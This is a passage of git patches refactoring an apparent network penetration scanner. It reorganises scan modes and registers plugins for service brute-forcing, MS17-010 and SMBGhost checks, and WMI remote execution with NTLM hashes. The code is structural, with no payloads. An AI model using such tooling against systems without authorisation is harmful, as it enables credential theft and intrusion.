1615dd0..daa2c5b 100644 --- a/Plugins/SmbGhost.go +++ b/Plugins/SmbGhost.go @@ -97,7 +97,7 @@ const ( // SmbGhost 检测SMB Ghost漏洞(CVE-2020-0796)的入口函数 func SmbGhost(info *Common.HostInfo) error { // 如果开启了暴力破解模式,跳过该检测 - if Common.IsBrute { + if Common.DisableBrute { return nil } diff --git a/Plugins/VNC.go b/Plugins/VNC.go index d1d7c20..74bcb1d 100644 --- a/Plugins/VNC.go +++ b/Plugins/VNC.go @@ -11,7 +11,7 @@ import ( // VncScan 执行VNC服务扫描及密码尝试 func VncScan(info *Common.HostInfo) (tmperr error) { // 如果已开启暴力破解则直接返回 - if Common.IsBrute { + if Common.DisableBrute { return } diff --git a/Plugins/WMIExec.go b/Plugins/WMIExec.go index ec38746..a55f1f7 100644 --- a/Plugins/WMIExec.go +++ b/Plugins/WMIExec.go @@ -34,7 +34,7 @@ func init() { // WmiExec 执行WMI远程命令 func WmiExec(info *Common.HostInfo) (tmperr error) { // 如果是暴力破解模式则跳过 - if Common.IsBrute { + if Common.DisableBrute { return nil } @@ -49,7 +49,7 @@ func WmiExec(info *Common.HostInfo) (tmperr error) { pass = strings.Replace(pass, "{user}", user, -1) // 尝试WMI连接 - flag, err := Wmiexec(info, user, pass, Common.Hash) + flag, err := Wmiexec(info, user, pass, Common.HashValue) // 记录错误日志 errlog := fmt.Sprintf("[-] WmiExec %v:%v %v %v %v", info.Host, 445, user, pass, err) @@ -66,8 +66,8 @@ func WmiExec(info *Common.HostInfo) (tmperr error) { } // 添加认证信息到结果 - if Common.Hash != "" { - result += "hash: " + Common.Hash + if Common.HashValue != "" { + result += "hash: " + Common.HashValue } else { result += pass } @@ -85,8 +85,8 @@ func WmiExec(info *Common.HostInfo) (tmperr error) { } } - // 如果使用NTLM Hash,则跳过密码循环 - if len(Common.Hash) == 32 { + // 如果使用NTLM HashValue,则跳过密码循环 + if len(Common.HashValue) == 32 { break PASS } } diff --git a/Plugins/WebTitle.go b/Plugins/WebTitle.go index 9f8bc0b..9337601 100644 --- a/Plugins/WebTitle.go +++ b/Plugins/WebTitle.go @@ -21,7 +21,7 @@ import ( // WebTitle 获取Web标题并执行扫描 func WebTitle(info *Common.HostInfo) error { // 如果是webpoc扫描模式,直接执行WebScan - if Common.Scantype == "webpoc" { + if Common.ScanMode == "webpoc" { WebScan.WebScan(info) return nil } @@ -38,7 +38,7 @@ func WebTitle(info *Common.HostInfo) error { } // 根据配置决定是否执行漏洞扫描 - if !Common.NoPoc && err == nil { + if !Common.DisablePoc && err == nil { WebScan.WebScan(info) } else { errlog := fmt.Sprintf("[-] webtitle %v %v", info.Url, err) diff --git a/WebScan/lib/Client.go b/WebScan/lib/Client.go index 96aa477..442bf7d 100644 --- a/WebScan/lib/Client.go +++ b/WebScan/lib/Client.go @@ -37,7 +37,7 @@ func Inithttp() { } // 初始化HTTP客户端 - err := InitHttpClient(Common.PocNum, Common.Proxy, time.Duration(Common.WebTimeout)*time.Second) + err := InitHttpClient(Common.PocNum, Common.HttpProxy, time.Duration(Common.WebTimeout)*time.Second) if err != nil { panic(err) } diff --git a/WebScan/lib/Eval.go b/WebScan/lib/Eval.go index eaf0312..79406a4 100644 --- a/WebScan/lib/Eval.go +++ b/WebScan/lib/Eval.go @@ -57,7 +57,7 @@ func Evaluate(env *cel.Env, expression string, params map[string]interface{}) (r return result, nil } -// UrlTypeToString 将 URL 结构体转换为字符串 +// UrlTypeToString 将 TargetURL 结构体转换为字符串 func UrlTypeToString(u *UrlType) string { var builder strings.Builder @@ -604,7 +604,7 @@ func reverseCheck(r *Reverse, timeout int64) bool { // 提取子域名 sub := strings.Split(r.Domain, ".")[0] - // 构造 API 请求 URL + // 构造 API 请求 TargetURL apiURL := fmt.Sprintf("http://api.ceye.io/v1/records?token=%s&type=dns&filter=%s", ceyeApi, sub) @@ -700,7 +700,7 @@ func DoRequest(req *http.Request, redirect bool) (*Response, error) { return resp, err } -// ParseUrl 解析 URL 并转换为自定义 URL 类型 +// ParseUrl 解析 TargetURL 并转换为自定义 TargetURL 类型 func ParseUrl(u *url.URL) *UrlType { return &UrlType{ Scheme: u.Scheme, @@ -782,10 +782,10 @@ func getRespBody(oResp *http.Response) ([]byte, error) { defer reader.Close() decompressed, err := io.ReadAll(reader) - if err != nil && err != io.EOF && len(decompressed) == 0{ + if err != nil && err != io.EOF && len(decompressed) == 0 { return nil, err } - if len(decompressed) == 0 && len(body) != 0{ + if len(decompressed) == 0 && len(body) != 0 { return body, nil } return decompressed, nil From 01524287488b0949923eba09b4abda086e21b85c Mon Sep 17 00:00:00 2001 From: shadow1ng Date: Fri, 20 Dec 2024 11:36:15 +0800 Subject: [PATCH 085/188] updata --- Core/Registry.go | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/Core/Registry.go b/Core/Registry.go index daafa2a..a436bc8 100644 --- a/Core/Registry.go +++ b/Core/Registry.go @@ -110,6 +110,12 @@ func init() { ScanFunc: Plugins.WebTitle, }) + Common.RegisterPlugin("webonly", Common.ScanPlugin{ + Name: "WebOnly", + Port: 0, + ScanFunc: Plugins.WebTitle, + }) + Common.RegisterPlugin("smb2", Common.ScanPlugin{ Name: "SMBScan2", Port: 445, From 1278a0355f1bb0459931927abf799d261b3346e0 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Fri, 20 Dec 2024 14:19:23 +0800 Subject: [PATCH 086/188] =?UTF-8?q?refactor:=20=E5=A4=A7=E5=9E=8B=E9=87=8D?= =?UTF-8?q?=E6=9E=84?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Common/Parse.go | 45 --------------------------------------------- Common/ParsePort.go | 14 ++++++++++++++ 2 files changed, 14 insertions(+), 45 deletions(-) diff --git a/Common/Parse.go b/Common/Parse.go index b0bfb5f..2516415 100644 --- a/Common/Parse.go +++ b/Common/Parse.go @@ -7,7 +7,6 @@ import ( "fmt" "net/url" "os" - "strconv" "strings" ) @@ -15,7 +14,6 @@ func Parse(Info *HostInfo) { ParseUser() ParsePass(Info) ParseInput(Info) - ParseScantype(Info) } // ParseUser 解析用户名配置,支持直接指定用户名列表或从文件读取 @@ -319,49 +317,6 @@ func ParseInput(Info *HostInfo) error { return nil } -// ParseScantype 解析扫描类型并设置对应的端口 -func ParseScantype(Info *HostInfo) error { - // 先处理特殊扫描类型 - specialTypes := map[string]string{ - "service": ServicePorts, - "db": DbPorts, - "web": WebPorts, - "all": AllPorts, - "main": MainPorts, - "port": MainPorts + "," + WebPorts, - "icmp": "", // ICMP不需要端口 - } - - // 如果是特殊扫描类型 - if customPorts, isSpecial := specialTypes[ScanMode]; isSpecial { - // 专门处理 all 类型 - if ScanMode == "all" { - Ports = AllPorts // 直接设置为 1-65535 - } else if Ports == MainPorts+","+WebPorts { - Ports = customPorts - } - fmt.Printf("[*] 扫描类型: %s, 目标端口: %s\n", ScanMode, Ports) - return nil - } - - // 检查是否是注册的插件类型 - plugin, validType := PluginManager[ScanMode] - if !validType { - showmode() - return fmt.Errorf("无效的扫描类型: %s", ScanMode) - } - - // 如果是插件扫描且使用默认端口配置 - if Ports == MainPorts+","+WebPorts { - if plugin.Port > 0 { - Ports = strconv.Itoa(plugin.Port) - } - fmt.Printf("[*] 扫描类型: %s, 目标端口: %s\n", plugin.Name, Ports) - } - - return nil -} - // showmode 显示所有支持的扫描类型 func showmode() { fmt.Println("[!] 指定的扫描类型不存在") diff --git a/Common/ParsePort.go b/Common/ParsePort.go index e1485dc..770b97b 100644 --- a/Common/ParsePort.go +++ b/Common/ParsePort.go @@ -9,6 +9,20 @@ import ( // ParsePort 解析端口配置字符串为端口号列表 func ParsePort(ports string) []int { + // 预定义的端口组 + portGroups := map[string]string{ + "service": ServicePorts, + "db": DbPorts, + "web": WebPorts, + "all": AllPorts, + "main": MainPorts, + } + + // 检查是否匹配预定义组 + if definedPorts, exists := portGroups[ports]; exists { + ports = definedPorts + } + if ports == "" { return nil } From 2f7d020e9f89d3b0d011b3cb4e8d6313fc557690 Mon Sep 17 00:00:00 2001 From: shadow1ng Date: Fri, 20 Dec 2024 16:30:58 +0800 Subject: [PATCH 087/188] update --- Plugins/RDP.go | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/Plugins/RDP.go b/Plugins/RDP.go index fdc7104..1a642e3 100644 --- a/Plugins/RDP.go +++ b/Plugins/RDP.go @@ -30,6 +30,11 @@ type Brutelist struct { // RdpScan 执行RDP服务扫描 func RdpScan(info *Common.HostInfo) (tmperr error) { + defer func() { + if err := recover(); err != nil { + fmt.Printf("[!] 扫描错误 %v:%v - %v\n", info.Host, info.Ports, err) + } + }() if Common.DisableBrute { return } @@ -114,6 +119,10 @@ func incrNum(num *int, mutex *sync.Mutex) { // RdpConn 尝试RDP连接 func RdpConn(ip, domain, user, password string, port int, timeout int64) (bool, error) { + defer func() { + if err := recover(); err != nil { + } + }() target := fmt.Sprintf("%s:%d", ip, port) // 创建RDP客户端 From 4da94448cb83ec9c605d2f090981dfab662695b8 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Fri, 20 Dec 2024 17:32:25 +0800 Subject: [PATCH 088/188] =?UTF-8?q?refactor:=20=E5=A4=A7=E5=9E=8B=E9=87=8D?= =?UTF-8?q?=E6=9E=84?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Common/Flag.go | 2 +- Common/ParseScanMode.go | 98 +++++++++++++++++++ Core/Registry.go | 25 +---- Core/Scanner.go | 204 +++++++++++++++++++--------------------- Plugins/WebPoc.go | 12 +++ Plugins/WebTitle.go | 8 +- 6 files changed, 214 insertions(+), 135 deletions(-) create mode 100644 Common/ParseScanMode.go create mode 100644 Plugins/WebPoc.go diff --git a/Common/Flag.go b/Common/Flag.go index 5b5b417..8ce0fb3 100644 --- a/Common/Flag.go +++ b/Common/Flag.go @@ -35,7 +35,7 @@ func Flag(Info *HostInfo) { flag.StringVar(&SshKeyPath, "sshkey", "", "SSH密钥文件(id_rsa)") // 扫描配置 - flag.StringVar(&ScanMode, "m", "all", "扫描类型,例如: -m ssh") + flag.StringVar(&ScanMode, "m", "All", "扫描类型,例如: -m ssh") flag.IntVar(&ThreadNum, "t", 600, "线程数量") flag.Int64Var(&Timeout, "time", 3, "超时时间(秒)") flag.IntVar(&LiveTop, "top", 10, "显示存活主机数量") diff --git a/Common/ParseScanMode.go b/Common/ParseScanMode.go new file mode 100644 index 0000000..f10905d --- /dev/null +++ b/Common/ParseScanMode.go @@ -0,0 +1,98 @@ +package Common + +import "fmt" + +// 扫描模式常量 - 使用大写开头表示这是一个预设的扫描模式 +const ( + ModeAll = "All" // 全量扫描 + ModeBasic = "Basic" // 基础扫描 + ModeDatabase = "Database" // 数据库扫描 + ModeWeb = "Web" // Web扫描 + ModeService = "Service" // 服务扫描 + ModeVul = "Vul" // 漏洞扫描 + ModePort = "Port" // 端口扫描 + ModeICMP = "ICMP" // ICMP探测 + ModeLocal = "Local" // 本地信息收集 +) + +// 插件分类映射表 - 所有插件名使用小写 +var pluginGroups = map[string][]string{ + ModeAll: { + "web", "fcgi", // web类 + "mysql", "mssql", "redis", "mongodb", "postgres", // 数据库类 + "oracle", "memcached", // 数据库类 + "ftp", "ssh", "smb", "rdp", "vnc", "netbios", // 服务类 + "ms17010", "smbghost", "smb2", // 漏洞类 + "findnet", "wmiexec", // 其他 + }, + ModeBasic: { + "web", "ftp", "ssh", "smb", "findnet", + }, + ModeDatabase: { + "mysql", "mssql", "redis", "mongodb", + "postgres", "oracle", "memcached", + }, + ModeWeb: { + "web", "fcgi", + }, + ModeService: { + "ftp", "ssh", "smb", "rdp", "vnc", "netbios", + }, + ModeVul: { + "ms17010", "smbghost", "smb2", + }, + ModeLocal: { + "localinfo", + }, +} + +// ParseScanMode 解析扫描模式 +func ParseScanMode(mode string) { + fmt.Printf("[*] 解析扫描模式: %s\n", mode) + + // 检查是否是预设模式 + presetModes := []string{ + ModeAll, ModeBasic, ModeDatabase, ModeWeb, + ModeService, ModeVul, ModePort, ModeICMP, ModeLocal, + } + + for _, presetMode := range presetModes { + if mode == presetMode { + ScanMode = mode + if plugins := GetPluginsForMode(mode); plugins != nil { + fmt.Printf("[+] 使用预设模式: %s, 包含插件: %v\n", mode, plugins) + } else { + fmt.Printf("[+] 使用预设模式: %s\n", mode) + } + return + } + } + + // 检查是否是有效的插件名 + if _, exists := PluginManager[mode]; exists { + ScanMode = mode + fmt.Printf("[+] 使用单个插件: %s\n", mode) + return + } + + // 默认使用All模式 + ScanMode = ModeAll + fmt.Printf("[*] 未识别的模式,使用默认模式: %s\n", ModeAll) + fmt.Printf("[+] 包含插件: %v\n", pluginGroups[ModeAll]) +} + +// GetPluginsForMode 获取指定模式下的插件列表 +func GetPluginsForMode(mode string) []string { + plugins, exists := pluginGroups[mode] + if exists { + return plugins + } + return nil +} + +// 辅助函数 +func IsPortScan() bool { return ScanMode == ModePort } +func IsICMPScan() bool { return ScanMode == ModeICMP } +func IsLocalScan() bool { return ScanMode == ModeLocal } +func IsWebScan() bool { return ScanMode == ModeWeb } +func GetScanMode() string { return ScanMode } diff --git a/Core/Registry.go b/Core/Registry.go index 1ea8650..6a42d5c 100644 --- a/Core/Registry.go +++ b/Core/Registry.go @@ -9,7 +9,6 @@ func init() { // 注册标准端口服务扫描 Common.RegisterPlugin("ftp", Common.ScanPlugin{ Name: "FTP", - Port: 21, ScanFunc: Plugins.FtpScan, }) @@ -20,92 +19,77 @@ func init() { Common.RegisterPlugin("findnet", Common.ScanPlugin{ Name: "FindNet", - Port: 135, ScanFunc: Plugins.Findnet, }) Common.RegisterPlugin("netbios", Common.ScanPlugin{ Name: "NetBIOS", - Port: 139, ScanFunc: Plugins.NetBIOS, }) Common.RegisterPlugin("smb", Common.ScanPlugin{ Name: "SMB", - Port: 445, ScanFunc: Plugins.SmbScan, }) Common.RegisterPlugin("mssql", Common.ScanPlugin{ Name: "MSSQL", - Port: 1433, ScanFunc: Plugins.MssqlScan, }) Common.RegisterPlugin("oracle", Common.ScanPlugin{ Name: "Oracle", - Port: 1521, ScanFunc: Plugins.OracleScan, }) Common.RegisterPlugin("mysql", Common.ScanPlugin{ Name: "MySQL", - Port: 3306, ScanFunc: Plugins.MysqlScan, }) Common.RegisterPlugin("rdp", Common.ScanPlugin{ Name: "RDP", - Port: 3389, ScanFunc: Plugins.RdpScan, }) Common.RegisterPlugin("postgres", Common.ScanPlugin{ Name: "PostgreSQL", - Port: 5432, ScanFunc: Plugins.PostgresScan, }) Common.RegisterPlugin("vnc", Common.ScanPlugin{ Name: "VNC", - Port: 5900, ScanFunc: Plugins.VncScan, }) Common.RegisterPlugin("redis", Common.ScanPlugin{ Name: "Redis", - Port: 6379, ScanFunc: Plugins.RedisScan, }) Common.RegisterPlugin("fcgi", Common.ScanPlugin{ Name: "FastCGI", - Port: 9000, ScanFunc: Plugins.FcgiScan, }) Common.RegisterPlugin("memcached", Common.ScanPlugin{ Name: "Memcached", - Port: 11211, ScanFunc: Plugins.MemcachedScan, }) Common.RegisterPlugin("mongodb", Common.ScanPlugin{ Name: "MongoDB", - Port: 27017, ScanFunc: Plugins.MongodbScan, }) // 注册特殊扫描类型 Common.RegisterPlugin("ms17010", Common.ScanPlugin{ Name: "MS17010", - Port: 445, ScanFunc: Plugins.MS17010, }) Common.RegisterPlugin("smbghost", Common.ScanPlugin{ Name: "SMBGhost", - Port: 445, ScanFunc: Plugins.SmbGhost, }) @@ -114,21 +98,18 @@ func init() { ScanFunc: Plugins.WebTitle, }) - Common.RegisterPlugin("webonly", Common.ScanPlugin{ - Name: "WebOnly", - Port: 0, - ScanFunc: Plugins.WebTitle, + Common.RegisterPlugin("webpoc", Common.ScanPlugin{ + Name: "WebPoc", + ScanFunc: Plugins.WebPoc, }) Common.RegisterPlugin("smb2", Common.ScanPlugin{ Name: "SMBScan2", - Port: 445, ScanFunc: Plugins.SmbScan2, }) Common.RegisterPlugin("wmiexec", Common.ScanPlugin{ Name: "WMIExec", - Port: 135, ScanFunc: Plugins.WmiExec, }) diff --git a/Core/Scanner.go b/Core/Scanner.go index 8e79ef2..c326721 100644 --- a/Core/Scanner.go +++ b/Core/Scanner.go @@ -4,147 +4,141 @@ import ( "fmt" "github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/WebScan/lib" - "strconv" "strings" "sync" ) +// Scan 执行扫描主流程 func Scan(info Common.HostInfo) { fmt.Println("[*] 开始信息扫描...") - // 本地信息收集模块 - if Common.ScanMode == "localinfo" { - ch := make(chan struct{}, Common.ThreadNum) - wg := sync.WaitGroup{} - AddScan("localinfo", info, &ch, &wg) - wg.Wait() - Common.LogWG.Wait() - close(Common.Results) - fmt.Printf("[✓] 扫描完成 %v/%v\n", Common.End, Common.Num) - return - } + Common.ParseScanMode(Common.ScanMode) - // 解析目标主机IP - Hosts, err := Common.ParseIP(info.Host, Common.HostsFile, Common.ExcludeHosts) - if err != nil { - fmt.Printf("[!] 解析主机错误: %v\n", err) - return - } - - // 初始化配置 - lib.Inithttp() ch := make(chan struct{}, Common.ThreadNum) wg := sync.WaitGroup{} - var AlivePorts []string - if len(Hosts) > 0 || len(Common.HostPort) > 0 { + // 本地信息收集模式 + if Common.IsLocalScan() { + executeScans([]Common.HostInfo{info}, &ch, &wg) + finishScan(&wg) + return + } + + // 初始化并解析目标 + hosts, err := Common.ParseIP(info.Host, Common.HostsFile, Common.ExcludeHosts) + if err != nil { + fmt.Printf("[-] 解析主机错误: %v\n", err) + return + } + lib.Inithttp() + + // 执行目标扫描 + executeScan(hosts, info, &ch, &wg) + finishScan(&wg) +} + +// executeScan 执行主扫描流程 +func executeScan(hosts []string, info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) { + var targetInfos []Common.HostInfo + + // 处理主机和端口扫描 + if len(hosts) > 0 || len(Common.HostPort) > 0 { // ICMP存活性检测 - if (Common.DisablePing == false && len(Hosts) > 1) || Common.ScanMode == "icmp" { - Hosts = CheckLive(Hosts, Common.UsePing) - fmt.Printf("[+] ICMP存活主机数量: %d\n", len(Hosts)) - if Common.ScanMode == "icmp" { - Common.LogWG.Wait() + if (Common.DisablePing == false && len(hosts) > 1) || Common.IsICMPScan() { + hosts = CheckLive(hosts, Common.UsePing) + fmt.Printf("[+] ICMP存活主机数量: %d\n", len(hosts)) + if Common.IsICMPScan() { return } } - // 端口扫描策略 - AlivePorts = executeScanStrategy(Hosts, Common.ScanMode) + // 获取存活端口 + var alivePorts []string + if Common.IsWebScan() { + alivePorts = NoPortScan(hosts, Common.Ports) + } else if len(hosts) > 0 { + alivePorts = PortScan(hosts, Common.Ports, Common.Timeout) + fmt.Printf("[+] 存活端口数量: %d\n", len(alivePorts)) + if Common.IsPortScan() { + return + } + } // 处理自定义端口 if len(Common.HostPort) > 0 { - AlivePorts = append(AlivePorts, Common.HostPort...) - AlivePorts = Common.RemoveDuplicate(AlivePorts) + alivePorts = append(alivePorts, Common.HostPort...) + alivePorts = Common.RemoveDuplicate(alivePorts) Common.HostPort = nil - fmt.Printf("[+] 总计存活端口: %d\n", len(AlivePorts)) + fmt.Printf("[+] 总计存活端口: %d\n", len(alivePorts)) } - // 执行扫描任务 - fmt.Println("[*] 开始漏洞扫描...") - for _, targetIP := range AlivePorts { - hostParts := strings.Split(targetIP, ":") - if len(hostParts) != 2 { - fmt.Printf("[!] 无效的目标地址格式: %s\n", targetIP) - continue - } - info.Host, info.Ports = hostParts[0], hostParts[1] - - executeScanTasks(info, Common.ScanMode, &ch, &wg) - } + targetInfos = prepareTargetInfos(alivePorts, info) } - // URL扫描 + // 准备URL扫描目标 for _, url := range Common.URLs { - info.Url = url - AddScan("web", info, &ch, &wg) + urlInfo := info + urlInfo.Url = url + targetInfos = append(targetInfos, urlInfo) } - // 等待所有任务完成 + // 执行扫描任务 + if len(targetInfos) > 0 { + fmt.Println("[*] 开始漏洞扫描...") + executeScans(targetInfos, ch, wg) + } +} + +// prepareTargetInfos 准备扫描目标信息 +func prepareTargetInfos(alivePorts []string, baseInfo Common.HostInfo) []Common.HostInfo { + var infos []Common.HostInfo + for _, targetIP := range alivePorts { + hostParts := strings.Split(targetIP, ":") + if len(hostParts) != 2 { + fmt.Printf("[-] 无效的目标地址格式: %s\n", targetIP) + continue + } + info := baseInfo + info.Host = hostParts[0] + info.Ports = hostParts[1] + infos = append(infos, info) + } + return infos +} + +// executeScans 统一执行扫描任务 +func executeScans(targets []Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) { + mode := Common.GetScanMode() + + // 判断是否是预设模式(大写开头) + if plugins := Common.GetPluginsForMode(mode); plugins != nil { + // 使用预设模式的插件组 + for _, target := range targets { + for _, plugin := range plugins { + AddScan(plugin, target, ch, wg) + } + } + } else { + // 使用单个插件 + for _, target := range targets { + AddScan(mode, target, ch, wg) + } + } +} + +// finishScan 完成扫描任务 +func finishScan(wg *sync.WaitGroup) { wg.Wait() Common.LogWG.Wait() close(Common.Results) fmt.Printf("[+] 扫描已完成: %v/%v\n", Common.End, Common.Num) } -// executeScanStrategy 执行端口扫描策略 -func executeScanStrategy(Hosts []string, scanType string) []string { - switch scanType { - case "webonly", "webpoc": - return NoPortScan(Hosts, Common.Ports) - case "hostname": - Common.Ports = "139" - return NoPortScan(Hosts, Common.Ports) - default: - if len(Hosts) > 0 { - ports := PortScan(Hosts, Common.Ports, Common.Timeout) - fmt.Printf("[+] 存活端口数量: %d\n", len(ports)) - if scanType == "portscan" { - Common.LogWG.Wait() - return nil - } - return ports - } - } - return nil -} - -// executeScanTasks 执行扫描任务 -func executeScanTasks(info Common.HostInfo, scanType string, ch *chan struct{}, wg *sync.WaitGroup) { - if scanType == "all" || scanType == "main" { - // 根据端口选择扫描插件 - switch info.Ports { - case "135": - AddScan("findnet", info, ch, wg) - if Common.EnableWmi { - AddScan("wmiexec", info, ch, wg) - } - case "445": - AddScan("ms17010", info, ch, wg) - case "9000": - AddScan("web", info, ch, wg) - AddScan("fcgi", info, ch, wg) - default: - // 查找对应端口的插件 - for name, plugin := range Common.PluginManager { - if strconv.Itoa(plugin.Port) == info.Ports { - AddScan(name, info, ch, wg) - return - } - } - // 默认执行Web扫描 - AddScan("web", info, ch, wg) - } - } else { - // 直接使用指定的扫描类型 - AddScan(scanType, info, ch, wg) - } -} - // Mutex用于保护共享资源的并发访问 var Mutex = &sync.Mutex{} // AddScan 添加扫描任务到并发队列 -func AddScan(scantype string, info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) { +func AddScan(plugin string, info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) { // 获取信号量,控制并发数 *ch <- struct{}{} // 添加等待组计数 @@ -163,7 +157,7 @@ func AddScan(scantype string, info Common.HostInfo, ch *chan struct{}, wg *sync. Mutex.Unlock() // 执行扫描 - ScanFunc(&scantype, &info) + ScanFunc(&plugin, &info) // 增加已完成任务数 Mutex.Lock() diff --git a/Plugins/WebPoc.go b/Plugins/WebPoc.go new file mode 100644 index 0000000..98bee71 --- /dev/null +++ b/Plugins/WebPoc.go @@ -0,0 +1,12 @@ +package Plugins + +import ( + "github.com/shadow1ng/fscan/Common" + "github.com/shadow1ng/fscan/WebScan" +) + +// WebPoc 直接执行Web漏洞扫描 +func WebPoc(info *Common.HostInfo) error { + WebScan.WebScan(info) + return nil +} diff --git a/Plugins/WebTitle.go b/Plugins/WebTitle.go index 9337601..9719a23 100644 --- a/Plugins/WebTitle.go +++ b/Plugins/WebTitle.go @@ -20,12 +20,6 @@ import ( // WebTitle 获取Web标题并执行扫描 func WebTitle(info *Common.HostInfo) error { - // 如果是webpoc扫描模式,直接执行WebScan - if Common.ScanMode == "webpoc" { - WebScan.WebScan(info) - return nil - } - // 获取网站标题信息 err, CheckData := GOWebTitle(info) info.Infostr = WebScan.InfoCheck(info.Url, &CheckData) @@ -41,7 +35,7 @@ func WebTitle(info *Common.HostInfo) error { if !Common.DisablePoc && err == nil { WebScan.WebScan(info) } else { - errlog := fmt.Sprintf("[-] webtitle %v %v", info.Url, err) + errlog := fmt.Sprintf("[-] 网站标题 %v %v", info.Url, err) Common.LogError(errlog) } From 8f1c5dbae93a0eba17ee3e25ccc748fc3902e3c5 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Fri, 20 Dec 2024 17:54:36 +0800 Subject: [PATCH 089/188] =?UTF-8?q?refactor:=20=E9=BB=98=E8=AE=A4=E6=89=AB?= =?UTF-8?q?=E6=8F=8F=E6=9C=BA=E5=88=B6?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Core/Registry.go | 19 +++++++++++++++++++ Core/Scanner.go | 22 ++++++++++++++++++++-- 2 files changed, 39 insertions(+), 2 deletions(-) diff --git a/Core/Registry.go b/Core/Registry.go index 6a42d5c..4cfc3b9 100644 --- a/Core/Registry.go +++ b/Core/Registry.go @@ -9,87 +9,104 @@ func init() { // 注册标准端口服务扫描 Common.RegisterPlugin("ftp", Common.ScanPlugin{ Name: "FTP", + Port: 21, ScanFunc: Plugins.FtpScan, }) Common.RegisterPlugin("ssh", Common.ScanPlugin{ Name: "SSH", + Port: 22, ScanFunc: Plugins.SshScan, }) Common.RegisterPlugin("findnet", Common.ScanPlugin{ Name: "FindNet", + Port: 135, ScanFunc: Plugins.Findnet, }) Common.RegisterPlugin("netbios", Common.ScanPlugin{ Name: "NetBIOS", + Port: 139, ScanFunc: Plugins.NetBIOS, }) Common.RegisterPlugin("smb", Common.ScanPlugin{ Name: "SMB", + Port: 445, ScanFunc: Plugins.SmbScan, }) Common.RegisterPlugin("mssql", Common.ScanPlugin{ Name: "MSSQL", + Port: 1433, ScanFunc: Plugins.MssqlScan, }) Common.RegisterPlugin("oracle", Common.ScanPlugin{ Name: "Oracle", + Port: 1521, ScanFunc: Plugins.OracleScan, }) Common.RegisterPlugin("mysql", Common.ScanPlugin{ Name: "MySQL", + Port: 3306, ScanFunc: Plugins.MysqlScan, }) Common.RegisterPlugin("rdp", Common.ScanPlugin{ Name: "RDP", + Port: 3389, ScanFunc: Plugins.RdpScan, }) Common.RegisterPlugin("postgres", Common.ScanPlugin{ Name: "PostgreSQL", + Port: 5432, ScanFunc: Plugins.PostgresScan, }) Common.RegisterPlugin("vnc", Common.ScanPlugin{ Name: "VNC", + Port: 5900, ScanFunc: Plugins.VncScan, }) Common.RegisterPlugin("redis", Common.ScanPlugin{ Name: "Redis", + Port: 6379, ScanFunc: Plugins.RedisScan, }) Common.RegisterPlugin("fcgi", Common.ScanPlugin{ Name: "FastCGI", + Port: 9000, ScanFunc: Plugins.FcgiScan, }) Common.RegisterPlugin("memcached", Common.ScanPlugin{ Name: "Memcached", + Port: 11211, ScanFunc: Plugins.MemcachedScan, }) Common.RegisterPlugin("mongodb", Common.ScanPlugin{ Name: "MongoDB", + Port: 27017, ScanFunc: Plugins.MongodbScan, }) // 注册特殊扫描类型 Common.RegisterPlugin("ms17010", Common.ScanPlugin{ Name: "MS17010", + Port: 445, ScanFunc: Plugins.MS17010, }) Common.RegisterPlugin("smbghost", Common.ScanPlugin{ Name: "SMBGhost", + Port: 445, ScanFunc: Plugins.SmbGhost, }) @@ -105,11 +122,13 @@ func init() { Common.RegisterPlugin("smb2", Common.ScanPlugin{ Name: "SMBScan2", + Port: 445, ScanFunc: Plugins.SmbScan2, }) Common.RegisterPlugin("wmiexec", Common.ScanPlugin{ Name: "WMIExec", + Port: 135, ScanFunc: Plugins.WmiExec, }) diff --git a/Core/Scanner.go b/Core/Scanner.go index c326721..4373d3f 100644 --- a/Core/Scanner.go +++ b/Core/Scanner.go @@ -4,6 +4,7 @@ import ( "fmt" "github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/WebScan/lib" + "strconv" "strings" "sync" ) @@ -114,12 +115,29 @@ func executeScans(targets []Common.HostInfo, ch *chan struct{}, wg *sync.WaitGro if plugins := Common.GetPluginsForMode(mode); plugins != nil { // 使用预设模式的插件组 for _, target := range targets { - for _, plugin := range plugins { - AddScan(plugin, target, ch, wg) + targetPort := target.Ports // 目标端口 + for _, pluginName := range plugins { + // 获取插件信息 + plugin, exists := Common.PluginManager[pluginName] + if !exists { + continue + } + + // 检查插件是否有默认端口配置 + if plugin.Port != 0 { + // 只有当目标端口匹配插件默认端口时才执行 + if targetPort == strconv.Itoa(plugin.Port) { + AddScan(pluginName, target, ch, wg) + } + } else { + // 对于没有默认端口的插件(如web扫描),始终执行 + AddScan(pluginName, target, ch, wg) + } } } } else { // 使用单个插件 + // 对于单个插件模式,不进行端口匹配检查,直接执行 for _, target := range targets { AddScan(mode, target, ch, wg) } From 375a1e46736878bd63bbea40dbd562ddd1851b96 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Fri, 20 Dec 2024 18:38:13 +0800 Subject: [PATCH 090/188] =?UTF-8?q?refactor:=20=E7=AB=AF=E5=8F=A3=E6=94=AF?= =?UTF-8?q?=E6=8C=81=E6=94=B9=E4=B8=BA=E5=88=97=E8=A1=A8?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Common/Parse.go | 60 ++++++++++++++++++++++++------------------------ Common/Types.go | 18 ++++++++++++++- Core/Registry.go | 39 ++++++++++++++++--------------- Core/Scanner.go | 13 +++++------ 4 files changed, 73 insertions(+), 57 deletions(-) diff --git a/Common/Parse.go b/Common/Parse.go index 2516415..f39a980 100644 --- a/Common/Parse.go +++ b/Common/Parse.go @@ -317,33 +317,33 @@ func ParseInput(Info *HostInfo) error { return nil } -// showmode 